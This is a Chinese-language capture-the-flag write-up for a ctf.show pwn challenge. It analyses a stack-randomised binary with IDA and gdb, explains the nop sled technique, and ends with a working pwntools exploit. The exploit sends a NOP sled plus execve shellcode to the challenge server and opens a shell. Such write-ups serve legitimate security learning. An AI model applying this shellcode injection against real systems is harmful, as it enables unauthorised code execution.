通过官方wp捋顺了思路,参考了大佬的wp进一步学习,写自己的wp
checksec

IDA
main函数

关键函数query_position

分析过程——gdb+画图
画个栈示意图更好理解
调试工具:gdb
首先看看执行到v3 = query_position()时,main函数的栈分布



结合IDA中参数距离rbp的距离,画出参数分布
mrbp:[main]rbp的简写
所有的栈图都参考OD等调试软件,上面是低地址,下面是高地址


通过汇编我们可以得到:
执行的时候,是将rbp+0x1018中的存放的地址——即v5,放到rax里面,再通过执行call rax去运行函数
我们再进入query_position函数,执行完rbp寻址操作,看稳定后栈的分布


官方wp是借助v1推出seed的位置,再推出打印地址与seed之间的关系
- random=rand() % 1337
- v1+0x15+4+4+0x10=seed
- seed+random=打印地址+668+0x2d
payload中
- 第一个输入:payload = b'\x90'*1336 + shellcode
- 第二个输入:sh = addr + 668 + 0x35
但是,我不想算太多,直接用打印地址多爽!!
v2 = rand() % 1337 - 668:这行代码使用 rand 函数生成一个随机数,并通过取模运算将其限制在范围 0 到 1336 之间。然后,从结果中减去 668,得到一个范围在 -668 到 668 之间的随机整数,并将其存储在变量 v2 中
所以打印地址的范围:v1-668 ~ v1+668
在栈中标注出范围

已经知道我们获得的打印地址可能的范围,而shellcode的地址一定要在比执行地址更高的位置
为了保障shellcode一定能够执行,我们直接拿v1最大的可能地址做准线,即:shellcode地址一定要大于 v1+668
shellcode与seed之间的部分则用nop填充,
我们这里需要了解一下 nop sled 空操作雪橇
- nop sled 是一种可以破解栈随机化的缓冲区溢出攻击方式。
- 攻击者通过输入字符串注入攻击代码。在实际的攻击代码前注入很长的 nop 指令 (无操作,仅使程序计数器加一)序列。
- 只要程序的控制流指向该序列任意一处,程序计数器逐步加一,直到到达攻击代码的存在的地址,并执行。
- 由于栈地址在一定范围的随机性,攻击者不能够知道攻击代码注入的地址,而要执行攻击代码需要将函数的返回地址更改为攻击代码的地址(可通过缓冲区溢出的方式改写函数返回地址)。所以,只能在一定范围内(栈随机导致攻击代码地址一定范围内随机)枚举攻击代码位置(有依据的猜)。
- 橙色部分:填充的nop
- 绿色部分:shellcode
- 执行/打印地址:举例一个可能的地址做示范

算出seed距离打印地址最大值的距离:0x7FFFFFFFC98C-0x7FFFFFFFC730=0x25C
填充的nop要等于大于0x25C,【不太建议用0x25C,可能会出现打不通情况】
exp
from pwn import*
context.arch = 'amd64'
io = remote('pwn.challenge.ctf.show',28132)
io.recvuntil(b'location: ')
addr = io.recvuntil(b'\n')[:-1]
shellcode = b'\x90' * 0x264 + asm(shellcraft.sh())
io.sendline(shellcode)
io.sendline(addr)
io.interactive()
大佬的exp感觉都没算什么,直接填充669个nop,直接秒杀(◍╹x╹◍)
运行界面

2193

被折叠的 条评论
为什么被折叠?



